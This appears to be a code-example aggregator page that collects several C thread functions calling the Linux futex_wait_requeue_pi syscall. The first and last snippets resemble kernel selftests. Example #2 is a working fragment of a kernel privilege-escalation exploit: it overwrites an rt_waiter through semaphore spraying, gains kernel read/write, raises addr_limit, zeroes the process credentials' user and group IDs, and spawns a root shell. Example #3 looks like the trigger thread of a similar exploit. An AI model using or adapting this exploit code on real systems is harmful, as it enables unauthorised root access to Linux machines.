Пример #1
0
void *waiterfn(void *arg)
{
	struct thread_arg *args = (struct thread_arg *)arg;
	futex_t old_val;

	info("Waiter %ld: running\n", args->id);
	/* Each thread sleeps for a different amount of time
	 * This is to avoid races, because we don't lock the
	 * external mutex here */
	usleep(1000 * (long)args->id);

	old_val = f1;
	atomic_inc(&waiters_blocked);
	info("Calling futex_wait_requeue_pi: %p (%u) -> %p\n",
	     &f1, f1, &f2);
	args->ret = futex_wait_requeue_pi(&f1, old_val, &f2, args->timeout,
					  FUTEX_PRIVATE_FLAG);

	info("waiter %ld woke with %d %s\n", args->id, args->ret,
	     args->ret < 0 ? strerror(errno) : "");
	atomic_inc(&waiters_woken);
	if (args->ret < 0) {
		if (args->timeout && errno == ETIMEDOUT)
			args->ret = 0;
		else {
			args->ret = RET_ERROR;
			error("futex_wait_requeue_pi\n", errno);
		}
		futex_lock_pi(&f2, NULL, 0, FUTEX_PRIVATE_FLAG);
	}
	futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG);

	info("Waiter %ld: exiting with %d\n", args->id, args->ret);
	pthread_exit((void *)&args->ret);
}
Пример #2
0
void *ger(void *arg){
	int sem_id;
	void *task_struct,*cred;
	char buf[256];
	const char new_addr_limit[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	const char new_egideuid[] = {0,0,0,0};
	printf("ger thread\n");

	int fd = open("/dev/null", O_RDWR);

	setpriority(PRIO_PROCESS , 0, *(int*)arg);
	
	if ((sem_id = semget(IPC_PRIVATE,(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET)/2,IPC_CREAT | 0660)) < 0){
       		perror("semget");
	}

	// don't call anything else to prevent tainting rt_waiter
	futex_wait_requeue_pi(&srcfutex, 0, &destfutex, NULL, 0);	
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;


	while(write(fd, (void*)(tbase+24), 8) < 0){ printf("no kernel r/w\n"); sleep(1); }
	printf("has kernel r/w!\n");
	write_kern((void*)(tbase+32), (void *)&new_addr_limit, 8);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); // dummy call to trigger breakpoint
	read_kern((void*)(tbase), (void *)&task_struct, 8);
	printf("task_struct: %p\n",task_struct);
	read_kern((void *)(task_struct+0x598), (void*)&cred, 8);
	printf("cred: %p\n",cred);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 
	write_kern((void *)(cred+20), (void*)&new_egideuid, 4);
	write_kern((void *)(cred+24), (void*)&new_egideuid, 4);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 

	if(geteuid() != 0) printf("not root :(\n");
	sprintf(buf,"sh -c \"echo success %d > offset.txt && chmod 777 offset.txt && sh \"",WAITER_OVERWRITE_OFFSET);
	system(buf);
	
	printf("ger function exiting\n");
	return NULL;
	
}
Пример #3
0
void *thread(void *arg)
{
    thread_tid = gettid();
    printf("[2]\n");
    userlock_wait(&invoke_futex_wait_requeue_pi);
    futex_wait_requeue_pi(&A, &B);
    printf("Someone woke me up\n");
    while (1) {
        sleep(1);
    }
}
void *waiterfn(void *arg)
{
	unsigned int old_val;
	int res;
	waiter_ret = RET_PASS;

	info("Waiter running\n");
	info("Calling FUTEX_LOCK_PI on f2=%x @ %p\n", f2, &f2);
	old_val = f1;
	res = futex_wait_requeue_pi(&f1, old_val, &(f2), NULL, FUTEX_PRIVATE_FLAG);
	if (!requeued.val || errno != EWOULDBLOCK) {
		fail("unexpected return from futex_wait_requeue_pi: %d (%s)\n",
		     res, strerror(errno));
		info("w2:futex: %x\n", f2);
		if (!res)
			futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG);
		waiter_ret = RET_FAIL;
	}

	info("Waiter exiting with %d\n", waiter_ret);
	pthread_exit(NULL);
}